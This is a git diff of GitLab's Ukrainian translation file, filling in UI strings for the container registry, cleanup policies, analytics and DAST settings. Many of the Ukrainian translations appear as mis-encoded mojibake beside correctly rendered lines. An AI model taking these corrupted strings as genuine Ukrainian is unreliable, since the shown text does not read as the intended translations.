+msgstr "Політика Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії відбудетьÑÑ Ñ‡ÐµÑ€ÐµÐ· %{time}"
msgid "ContainerRegistry|If you are not already logged in, you need to authenticate to the Container Registry by using your GitLab username and password. If you have %{twofaDocLinkStart}Two-Factor Authentication%{twofaDocLinkEnd} enabled, use a %{personalAccessTokensDocLinkStart}Personal Access Token%{personalAccessTokensDocLinkEnd} instead of a password."
msgstr "Якщо ви ще не виконали вхід вам необхідно автентифікуватиÑÑ Ð² РеєÑтрі Контейнерів за допомогою імені кориÑтувача та Ð¿Ð°Ñ€Ð¾Ð»Ñ GitLab. Якщо у Ð²Ð°Ñ Ð²Ð²Ñ–Ð¼ÐºÐ½ÐµÐ½Ð° %{twofaDocLinkStart}Двофакторна автентифікаціÑ%{twofaDocLinkEnd}, викориÑтовуйте %{personalAccessTokensDocLinkStart}ПерÑональний Токен ДоÑтупу%{personalAccessTokensDocLinkEnd} заміÑÑ‚ÑŒ паролю."
@@ -9250,22 +9423,22 @@ msgid "ContainerRegistry|Image repository with no name located at the project UR
msgstr ""
msgid "ContainerRegistry|Image tags"
-msgstr ""
+msgstr "Теги образів"
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
-msgstr ""
+msgstr "ÐедійÑний тег: відÑутній дайджеÑÑ‚ маніфеÑту"
msgid "ContainerRegistry|Keep tags matching:"
-msgstr ""
+msgstr "Залишити теги, що збігаютьÑÑ Ð·:"
msgid "ContainerRegistry|Keep the most recent:"
-msgstr ""
+msgstr "Залишити оÑтанні:"
msgid "ContainerRegistry|Keep these tags"
msgstr "Залишити ці теги"
msgid "ContainerRegistry|Last updated %{time}"
-msgstr ""
+msgstr "ВоÑтаннє оновлено %{time}"
msgid "ContainerRegistry|Login"
msgstr "Увійти"
@@ -9277,19 +9450,19 @@ msgid "ContainerRegistry|Missing or insufficient permission, delete button disab
msgstr "Ðе виÑтачає прав доÑтупу, кнопка Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð°"
msgid "ContainerRegistry|Next cleanup scheduled to run on:"
-msgstr ""
+msgstr "ÐаÑтупне Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð»Ð°Ð½Ð¾Ð²Ð°Ð½Ð¾ на запуÑк в:"
msgid "ContainerRegistry|Not yet scheduled"
-msgstr ""
+msgstr "Ще не заплановано"
msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
-msgstr ""
+msgstr "Примітка: Будь-Ñке Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð¿Ð¾Ð»Ñ–Ñ‚Ð¸ÐºÐ¸ призведе до зміни запланованої та чаÑу"
msgid "ContainerRegistry|Published %{timeInfo}"
msgstr "Опубліковано %{timeInfo}"
msgid "ContainerRegistry|Published to the %{repositoryPath} image repository at %{time} on %{date}"
-msgstr ""
+msgstr "Опубліковано Ð´Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–ÑŽ образу %{repositoryPath} в %{time} %{date}"
msgid "ContainerRegistry|Push an image"
msgstr "Відправити образ"
@@ -9308,28 +9481,28 @@ msgstr[2] "Видалити тегів"
msgstr[3] "Видалити тегів"
msgid "ContainerRegistry|Remove tags matching:"
-msgstr ""
+msgstr "Видалити відповідні теги:"
msgid "ContainerRegistry|Remove tags older than:"
-msgstr ""
+msgstr "Видалити теги Ñтарші ніж:"
msgid "ContainerRegistry|Remove these tags"
msgstr "Видалити ці теги"
msgid "ContainerRegistry|Root image"
-msgstr ""
+msgstr "Кореневий образ"
msgid "ContainerRegistry|Run cleanup:"
msgstr "Виконати очищеннÑ:"
msgid "ContainerRegistry|Some tags were not deleted"
-msgstr ""
+msgstr "ДеÑкі теги не були видалені"
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
-msgstr ""
+msgstr "ЩоÑÑŒ пішло не так при отриманні політики очищеннÑ."
msgid "ContainerRegistry|Something went wrong while fetching the image details."
-msgstr ""
+msgstr "ЩоÑÑŒ пішло не так при отриманні деталей образу."
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr "ЩоÑÑŒ пішло не так при отриманні ÑпиÑку репозиторіїв."
@@ -9344,40 +9517,40 @@ msgid "ContainerRegistry|Something went wrong while marking the tags for deletio
msgstr "ЩоÑÑŒ пішло не так при позначці тегів до видаленнÑ."
msgid "ContainerRegistry|Something went wrong while scheduling %{title} for deletion. Please try again."
-msgstr ""
+msgstr "Проблема при видаленні Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ %{title} . Будь лаÑка, Ñпробуйте знову."
msgid "ContainerRegistry|Something went wrong while scheduling the image for deletion."
-msgstr ""
+msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ð¿Ð»Ð°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð¾Ð±Ñ€Ð°Ð·Ñƒ Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ."
msgid "ContainerRegistry|Something went wrong while updating the cleanup policy."
-msgstr ""
+msgstr "ЩоÑÑŒ пішло не так при оновленні політики прибираннÑ."
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr "Ðа жаль, немає результатів, Ñкі відповідають фільтру."
msgid "ContainerRegistry|Tag successfully marked for deletion."
-msgstr ""
+msgstr "Тег уÑпішно позначений Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ."
msgid "ContainerRegistry|Tags successfully marked for deletion."
-msgstr ""
+msgstr "Теги уÑпішно позначені Ð´Ð»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ."
msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
-msgstr ""
+msgstr "Теги, Ñкі відповідають цим правилам, %{strongStart}зберігаютьÑÑ%{strongEnd}, навіть Ñкщо вони відповідають правилу Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð½Ð¸Ð¶Ñ‡Ðµ. %{secondStrongStart}оÑтанній%{secondStrongEnd} тег завжди зберігаєтьÑÑ."
msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
-msgstr ""
+msgstr "Теги, Ñкі відповідають цим правилам, %{strongStart}видалÑÑŽÑ‚ÑŒÑÑ%{strongEnd}, Ñкщо вище правило не передбачає Ñ—Ñ… збереженнÑ."
msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}View regex examples.%{linkEnd}"
-msgstr ""
+msgstr "Теги з іменами, Ñкі відповідають цьому шаблону регулÑрного виразу, зберігаютьÑÑ. %{linkStart}ПереглÑньте приклади регулÑрних виразів.%{linkEnd}"
msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}View regex examples.%{linkEnd}"
-msgstr ""
+msgstr "Теги з іменами, Ñкі відповідають цьому шаблону регулÑрного виразу, видалÑÑŽÑ‚ÑŒÑÑ. %{linkStart}ПереглÑньте приклади регулÑрних виразів.%{linkEnd}"
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
-msgstr ""
+msgstr "Ð§Ð°Ñ Ð¾Ñ‡Ñ–ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ð¾Ð»Ñ–Ñ‚Ð¸ÐºÐ¸ Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°ÐºÑ–Ð½Ñ‡Ð¸Ð²ÑÑ, перш ніж вона могла видалити вÑÑ– теги. ÐдмініÑтратор може %{adminLinkStart}вручну запуÑтити Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð·Ð°Ñ€Ð°Ð·%{adminLinkEnd} або ви можете зачекати, поки політика Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð·Ð½Ð¾Ð²Ñƒ запуÑтитьÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡Ð½Ð¾. %{docLinkStart}Додаткова інформаціÑ%{docLinkEnd}"
msgid "ContainerRegistry|The image repository could not be found."
-msgstr ""
+msgstr "Репозиторій образів не знайдено."
msgid "ContainerRegistry|The last tag related to this image was recently removed. This empty image and any associated data will be automatically removed as part of the regular Garbage Collection process. If you have any questions, contact your administrator."
msgstr "ОÑтанній тег Ñкий відноÑивÑÑ Ð´Ð¾ цього образу нещодавно було видалено. Цей порожній образ та вÑÑ– пов’Ñзані дані будуть автоматично видалені під Ñ‡Ð°Ñ Ñ€ÐµÐ³ÑƒÐ»Ñрного \"збору ÑміттÑ\". Якщо у Ð²Ð°Ñ Ñ” питаннÑ, звернітьÑÑ Ð´Ð¾ Ñвого адмініÑтратора."
@@ -9386,7 +9559,7 @@ msgid "ContainerRegistry|The requested image repository does not exist or has be
msgstr ""
msgid "ContainerRegistry|The value of this input should be less than 256 characters"
-msgstr ""
+msgstr "Ð—Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ вводу повинно бути менше 256 Ñимволів"
msgid "ContainerRegistry|There are no container images available in this group"
msgstr "В цій групі немає образів контейнерів"
@@ -9401,22 +9574,22 @@ msgid "ContainerRegistry|This image has no active tags"
msgstr "Образ не має активних тегів"
msgid "ContainerRegistry|This image repository has failed to be deleted"
-msgstr ""
+msgstr "Цей репозиторій образів не вдалоÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸"
msgid "ContainerRegistry|This image repository is scheduled for deletion"
-msgstr ""
+msgstr "Цей репозиторій образу заплановано на видаленнÑ"
msgid "ContainerRegistry|This image repository will be deleted. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "Цей репозиторій образу буде видалено. %{linkStart}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ.%{linkEnd}"
msgid "ContainerRegistry|This project's cleanup policy for tags is not enabled."
-msgstr ""
+msgstr "Ð¦Ñ Ð¿Ð¾Ð»Ñ–Ñ‚Ð¸ÐºÐ° Ð¾Ñ‡Ð¸Ñ‰ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ Ð´Ð»Ñ Ñ‚ÐµÐ³Ñ–Ð² не активована."
msgid "ContainerRegistry|To widen your search, change or remove the filters above."
-msgstr ""
+msgstr "Щоб розширити пошук, змініть або видаліть фільтри вище."
msgid "ContainerRegistry|We are having trouble connecting to the Container Registry. Please try refreshing the page. If this error persists, please review %{docLinkStart}the troubleshooting documentation%{docLinkEnd}."
-msgstr ""
+msgstr "У Ð½Ð°Ñ Ð²Ð¸Ð½Ð¸ÐºÐ»Ð¸ проблеми з підключеннÑм до реєÑтру контейнерів. Будь лаÑка, Ñпробуйте оновити Ñторінку. Якщо Ñ†Ñ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° не зникає, переглÑньте %{docLinkStart}документацію з уÑÑƒÐ½ÐµÐ½Ð½Ñ Ð½ÐµÑправноÑтей%{docLinkEnd}."
msgid "ContainerRegistry|With the Container Registry, every project can have its own space to store its Docker images. %{docLinkStart}More Information%{docLinkEnd}"
msgstr "За допомогою РеєÑтру контейнерів, кожен проєкт може мати влаÑний проÑÑ‚Ñ–Ñ€ Ð´Ð»Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð½Ñ Ð¾Ð±Ñ€Ð°Ð·Ñ–Ð² Docker. %{docLinkStart}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{docLinkEnd}"
@@ -9425,7 +9598,7 @@ msgid "ContainerRegistry|With the Container Registry, every project can have its
msgstr "За допомогою РеєÑтру Контейнерів кожен проєкт може мати влаÑний проÑÑ‚Ñ–Ñ€ Ð´Ð»Ñ Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Docker-образів. РозміÑÑ‚Ñ–Ñ‚ÑŒ хоча б один Docker-образ у ÑкомуÑÑŒ із проєктів групи щоб його тут побачити. %{docLinkStart}Детальніше%{docLinkEnd}"
msgid "ContainerRegistry|With the GitLab Container Registry, every project can have its own space to store images. %{docLinkStart}More information%{docLinkEnd}"
-msgstr ""
+msgstr "За допомогою реєÑтру контейнерів GitLab кожен проєкт може мати влаÑний проÑÑ‚Ñ–Ñ€ Ð´Ð»Ñ Ð·Ð±ÐµÑ€Ñ–Ð³Ð°Ð½Ð½Ñ Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½ÑŒ. %{docLinkStart}Додаткова інформаціÑ%{docLinkEnd}"
msgid "ContainerRegistry|You are about to remove %{item} tags. Are you sure?"
msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ %{item} тегів. Ви впевнені?"
@@ -9443,7 +9616,7 @@ msgid "Content parsed with %{link}."
msgstr ""
msgid "ContentEditor|Table of Contents"
-msgstr ""
+msgstr "ЗміÑÑ‚"
msgid "ContentEditor|You have to provide a renderMarkdown function or a custom serializer"
msgstr ""
@@ -9515,7 +9688,7 @@ msgid "ContributionAnalytics|No pushes for the selected time period."
msgstr "Ðемає відправлень за обраний період."
msgid "Contributions for %{calendar_date}"
-msgstr ""
+msgstr "ВнеÑки за %{calendar_date}"
msgid "Contributions per group member"
msgstr "КількіÑÑ‚ÑŒ внеÑків на кожного учаÑника групи"
@@ -9641,7 +9814,7 @@ msgid "Copy the code below to implement tracking in your application:"
msgstr ""
msgid "Copy this registration token."
-msgstr ""
+msgstr "Скопіювати цей токен реєÑтрації."
msgid "Copy this value"
msgstr "Копіювати це значеннÑ"
@@ -9677,40 +9850,40 @@ msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
msgid "CorpusManagement|Last updated"
-msgstr ""
+msgstr "ОÑтаннє оновленнÑ"
msgid "CorpusManagement|Last used"
-msgstr ""
+msgstr "ОÑтаннє викориÑтаннÑ"
msgid "CorpusManagement|Latest Job:"
-msgstr ""
+msgstr "ОÑтаннє завданнÑ:"
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
-msgstr ""
+msgstr "Ðове завантаженнÑ"
msgid "CorpusManagement|Not Set"
-msgstr ""
+msgstr "Ðе вÑтановлено"
msgid "CorpusManagement|Target"
-msgstr ""
+msgstr "Ціль"
msgid "CorpusManagement|To use this corpus, edit the corresponding YAML file"
msgstr ""
msgid "CorpusManagement|Total Size: %{totalSize}"
-msgstr ""
+msgstr "Загальний розмір: %{totalSize}"
msgid "CorpusMnagement|New corpus"
-msgstr ""
+msgstr "Ðовий корпуÑ"
msgid "Could not add admins as members"
msgstr "Ðе вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ адмініÑтраторів Ñк учаÑників"
msgid "Could not apply %{name} command."
-msgstr ""
+msgstr "Ðе вдалоÑÑ Ð·Ð°ÑтоÑувати команду %{name}"
msgid "Could not authorize chat nickname. Try again!"
msgstr "Ðе вдалоÑÑ Ð°Ð²Ñ‚Ð¾Ñ€Ð¸Ð·ÑƒÐ²Ð°Ñ‚Ð¸ пÑевдонім Ð´Ð»Ñ Ñ‡Ð°Ñ‚Ñƒ. Спробуйте ще раз!"
@@ -9818,7 +9991,7 @@ msgid "Couldn't assign policy to project"
msgstr "Ðе вдалоÑÑ Ð²Ð¸Ð·Ð½Ð°Ñ‡Ð¸Ñ‚Ð¸ політику Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ"
msgid "Country"
-msgstr ""
+msgstr "Країна"
msgid "Coverage"
msgstr "ПокриттÑ"
@@ -9833,12 +10006,15 @@ msgid "Create %{environment}"
msgstr "Створити %{environment}"
msgid "Create %{humanized_resource_name}"
-msgstr ""
+msgstr "Створити %{humanized_resource_name}"
msgid "Create %{type}"
msgstr "Створити %{type}"
msgid "Create %{workspace} label"
+msgstr "Створити мітку %{workspace}"
+
+msgid "Create Google Cloud project"
msgstr ""
msgid "Create New Directory"
@@ -9863,19 +10039,19 @@ msgid "Create a new branch"
msgstr "Створити нову гілку"
msgid "Create a new file as there are no files yet. Afterwards, you'll be able to commit your changes."
-msgstr "Створіть новий файл, тому що наразі немає жодного файлу. Пізніше ви зможете закомітити ваші зміни."
+msgstr "Створити новий файл, тому що наразі немає жодного файлу. Пізніше ви зможете закомітити ваші зміни."
msgid "Create a new issue"
msgstr "Створити нову задачу"
msgid "Create a new project"
-msgstr ""
+msgstr "Створити новий проєкт"
msgid "Create a new repository"
msgstr "Створити новий репозиторій"
msgid "Create a personal access token on your account to pull or push via %{protocol}."
-msgstr "Створіть токен доÑтупу Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ аккаунта, щоб відправлÑти та отримувати через %{protocol}."
+msgstr "Створити токен доÑтупу Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ аккаунта, щоб відправлÑти та отримувати через %{protocol}."
msgid "Create an account using:"
msgstr "Створити обліковий Ð·Ð°Ð¿Ð¸Ñ Ð·Ð° допомогою:"
@@ -9953,7 +10129,7 @@ msgid "Create new"
msgstr "Створити новий"
msgid "Create new %{name} by email"
-msgstr ""
+msgstr "Створити новий %{name} за електронною поштою"
msgid "Create new CI/CD pipeline"
msgstr "Створити новий CI/CD конвеєр"
@@ -9986,7 +10162,7 @@ msgid "Create new..."
msgstr "Створити..."
msgid "Create or import your first project"
-msgstr ""
+msgstr "Створіть або імпортуйте Ñвій перший проєкт"
msgid "Create project"
msgstr "Створити проєкт"
@@ -10000,6 +10176,9 @@ msgstr "Створити реліз"
msgid "Create requirement"
msgstr "Створити вимогу"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "Створити Ñніпет"
@@ -10007,7 +10186,7 @@ msgid "Create tag %{tagName}"
msgstr "Створити тег %{tagName}"
msgid "Create topic"
-msgstr ""
+msgstr "Створити тему"
msgid "Create user"
msgstr "Створити кориÑтувача"
@@ -10033,11 +10212,8 @@ msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” дозволу Ñтворювати групи."
msgid "CreateTag|Tag"
msgstr "Тег"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "Створити токен Ð´Ð»Ñ Ð¾ÑобиÑтого доÑтупу"
-
msgid "CreateValueStreamForm|%{name} (default)"
-msgstr ""
+msgstr "%{name} (за замовчуваннÑм)"
msgid "CreateValueStreamForm|'%{name}' Value Stream created"
msgstr ""
@@ -10082,13 +10258,13 @@ msgid "CreateValueStreamForm|Editing stage"
msgstr ""
msgid "CreateValueStreamForm|End event"
-msgstr ""
+msgstr "Кінцева подіÑ"
msgid "CreateValueStreamForm|End event label"
msgstr ""
msgid "CreateValueStreamForm|End event: "
-msgstr ""
+msgstr "Кінцева подіÑ: "
msgid "CreateValueStreamForm|Enter stage name"
msgstr ""
@@ -10166,7 +10342,7 @@ msgid "Created"
msgstr "Створено"
msgid "Created %{epicTimeagoDate}"
-msgstr ""
+msgstr "Створено %{epicTimeagoDate}"
msgid "Created %{timestamp}"
msgstr "Створено %{timestamp}"
@@ -10238,7 +10414,7 @@ msgid "Credentials"
msgstr "Облікові дані"
msgid "CredentialsInventory|GPG Keys"
-msgstr ""
+msgstr "Ключі GPG"
msgid "CredentialsInventory|No credentials found"
msgstr "Облікові дані не знайдено"
@@ -10247,14 +10423,44 @@ msgid "CredentialsInventory|Personal Access Tokens"
msgstr "ОÑобиÑÑ‚Ñ– токени доÑтупу"
msgid "CredentialsInventory|SSH Keys"
-msgstr ""
+msgstr "Ключі SSH"
msgid "Credit card:"
-msgstr ""
+msgstr "Кредитна картка:"
msgid "Critical vulnerabilities present"
msgstr "ПриÑутні критичні вразливоÑÑ‚Ñ–"
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "ЧаÑовий поÑÑ Cron"
@@ -10271,10 +10477,10 @@ msgid "CsvParser|Quoted field unterminated"
msgstr ""
msgid "CsvParser|Too few fields"
-msgstr ""
+msgstr "Занадто мало полів"
msgid "CsvParser|Too many fields"
-msgstr ""
+msgstr "Забагато полів"
msgid "CsvParser|Trailing quote on quoted field is malformed"
msgstr ""
@@ -10301,13 +10507,13 @@ msgid "Current password"
msgstr "Поточний пароль"
msgid "Current sign-in IP:"
-msgstr ""
+msgstr "Поточна IP-адреÑа Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ñƒ:"
msgid "Current sign-in at:"
msgstr ""
msgid "Current sign-in ip"
-msgstr ""
+msgstr "Поточний IP входу"
msgid "Current vulnerabilities count"
msgstr "Поточна кількіÑÑ‚ÑŒ вразливоÑтей"
@@ -10361,7 +10567,7 @@ msgid "Custom range"
msgstr "КориÑтувацький діапазон"
msgid "Custom range (UTC)"
-msgstr ""
+msgstr "КориÑтувацький діапазон (UTC)"
msgid "Customer Relations Contacts"
msgstr ""
@@ -10406,7 +10612,7 @@ msgid "CustomizeHomepageBanner|Do you want to customize this page?"
msgstr "Хочете налаштувати цю Ñторінку?"
msgid "CustomizeHomepageBanner|Go to preferences"
-msgstr ""
+msgstr "Перейти до налаштувань"
msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
msgstr "За замовчуваннÑм на цій Ñторінці показано ÑпиÑок ваших проєктів, але це можна змінити, щоб показувати діÑльніÑÑ‚ÑŒ проєктів, групи, ваш ÑпиÑок Ñправ, призначені задачі, запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° багато іншого. Ви можете налаштувати це в розділі \"ВміÑÑ‚ домашньої Ñторінки\" у Ñвоїх параметрах."
@@ -10415,16 +10621,16 @@ msgid "Cycle Time"
msgstr "Ð§Ð°Ñ Ñ†Ð¸ÐºÐ»Ñƒ"
msgid "CycleAnalyticsEvent|%{label_reference} label was added to the issue"
-msgstr ""
+msgstr "До задачі було додано мітку %{label_reference}"
msgid "CycleAnalyticsEvent|%{label_reference} label was added to the merge request"
-msgstr ""
+msgstr "До запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð±ÑƒÐ»Ð¾ додано мітку %{label_reference}"
msgid "CycleAnalyticsEvent|%{label_reference} label was removed from the issue"
-msgstr ""
+msgstr "Мітку %{label_reference} було видалено з задачі"
msgid "CycleAnalyticsEvent|%{label_reference} label was removed from the merge request"
-msgstr ""
+msgstr "Мітку %{label_reference} було видалено з запиту на злиттÑ"
msgid "CycleAnalyticsEvent|Issue closed"
msgstr "Задачу закрито"
@@ -10520,7 +10726,7 @@ msgid "CycleAnalytics|All stages"
msgstr "Ð’ÑÑ– Ñтадії"
msgid "CycleAnalytics|Average days to completion"
-msgstr ""
+msgstr "Ð¡ÐµÑ€ÐµÐ´Ð½Ñ ÐºÑ–Ð»ÑŒÐºÑ–ÑÑ‚ÑŒ днів до завершеннÑ"
msgid "CycleAnalytics|Date"
msgstr "Дата"
@@ -10564,10 +10770,10 @@ msgstr[2] ""
msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{createdAfter} to %{createdBefore}"
-msgstr ""
+msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸ \"%{groupName}\" Ñ– %{selectedProjectCount} проєктів від %{createdAfter} до %{createdBefore}"
msgid "CycleAnalytics|Showing data for group '%{groupName}' from %{createdAfter} to %{createdBefore}"
-msgstr ""
+msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¸ \"%{groupName}\" від %{createdAfter} до %{createdBefore}"
msgid "CycleAnalytics|Stages"
msgstr "Стадії"
@@ -10576,7 +10782,7 @@ msgid "CycleAnalytics|Tasks by type"
msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð·Ð° типом"
msgid "CycleAnalytics|The average time spent in the selected stage for the items that were completed on each date. Data limited to the last 500 items."
-msgstr ""
+msgstr "Середній чаÑ, витрачений на обраному етапі Ð´Ð»Ñ ÐµÐ»ÐµÐ¼ÐµÐ½Ñ‚Ñ–Ð², Ñкі були виконані у кожну дату. Дані обмежуютьÑÑ Ð¾Ñтанніми 500 елементами."
msgid "CycleAnalytics|The given date range is larger than 180 days"
msgstr "Даний діапазон чаÑу перевищує 180 днів"
@@ -10597,31 +10803,31 @@ msgid "CycleAnalytics|stage dropdown"
msgstr "Випадаючий ÑпиÑок Ñтадій"
msgid "DAG visualization requires at least 3 dependent jobs."
-msgstr ""
+msgstr "Ð”Ð»Ñ Ð²Ñ–Ð·ÑƒÐ°Ð»Ñ–Ð·Ð°Ñ†Ñ–Ñ— DAG потрібно щонайменше 3 залежних завданнÑ."
msgid "DAST Configuration"
msgstr "ÐšÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ DAST"
msgid "DAST Scans"
-msgstr ""
+msgstr "Ð¡ÐºÐ°Ð½ÑƒÐ²Ð°Ð½Ð½Ñ DAST"
msgid "DAST profile not found: %{name}"
-msgstr ""
+msgstr "Профіль DAST не знайдено: %{name}"
msgid "DNS"
msgstr "DNS"
msgid "DORA4Metrics|%{startDate} - %{endDate}"
-msgstr ""
+msgstr "%{startDate} - %{endDate}"
msgid "DORA4Metrics|Date"
-msgstr ""
+msgstr "Дата"
msgid "DORA4Metrics|Days from merge to deploy"
-msgstr ""
+msgstr "Днів від Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð´Ð¾ розгортаннÑ"
msgid "DORA4Metrics|Deployment frequency"
-msgstr ""
+msgstr "ЧаÑтота розгортаннÑ"
msgid "DORA4Metrics|Lead time"
msgstr ""
@@ -10630,28 +10836,31 @@ msgid "DORA4Metrics|Median lead time"
msgstr ""
msgid "DORA4Metrics|No merge requests were deployed during this period"
-msgstr ""
+msgstr "За цей період не було розгорнуто жодних запитів на злиттÑ"
msgid "DORA4Metrics|Number of deployments"
-msgstr ""
+msgstr "КількіÑÑ‚ÑŒ розгортань"
msgid "DORA4Metrics|Something went wrong while getting deployment frequency data."
-msgstr ""
+msgstr "ЩоÑÑŒ пішло не так під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð°Ð½Ð¸Ñ… про чаÑтоту розгортаннÑ."
msgid "DORA4Metrics|Something went wrong while getting lead time data."
msgstr ""
msgid "DORA4Metrics|The chart displays the frequency of deployments to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
-msgstr ""
+msgstr "Графік відображає чаÑтоту розгортань у production Ñередовищі(ах), Ñкі базуютьÑÑ Ð½Ð° значенні %{linkStart}deployment_tier%{linkEnd}."
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
+msgstr "Графік відображає Ñередній Ñ‡Ð°Ñ Ð¼Ñ–Ð¶ об’єднаннÑм запиту на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñ‚Ð° його розгортаннÑм у production Ñередовищі, що базуютьÑÑ Ð½Ð° значенні %{linkStart}deployment_tier%{linkEnd}."
+
+msgid "DSN"
msgstr ""
msgid "Dashboard"
msgstr "Панель керуваннÑ"
msgid "Dashboard uid not found"
-msgstr ""
+msgstr "Uid панелі ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð½Ðµ знайдено"
msgid "DashboardProjects|All"
msgstr "Ð’ÑÑ–"
@@ -10672,73 +10881,73 @@ msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available f
msgstr "Ðе вдалоÑÑ Ð´Ð¾Ð´Ð°Ñ‚Ð¸ %{invalidProjects}. Ð¦Ñ Ð¿Ð°Ð½ÐµÐ»ÑŒ ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупна Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ñ–Ñ‡Ð½Ð¸Ñ… проєктів та приватних проєктів в групах із планом Premium."
msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
-msgstr ""
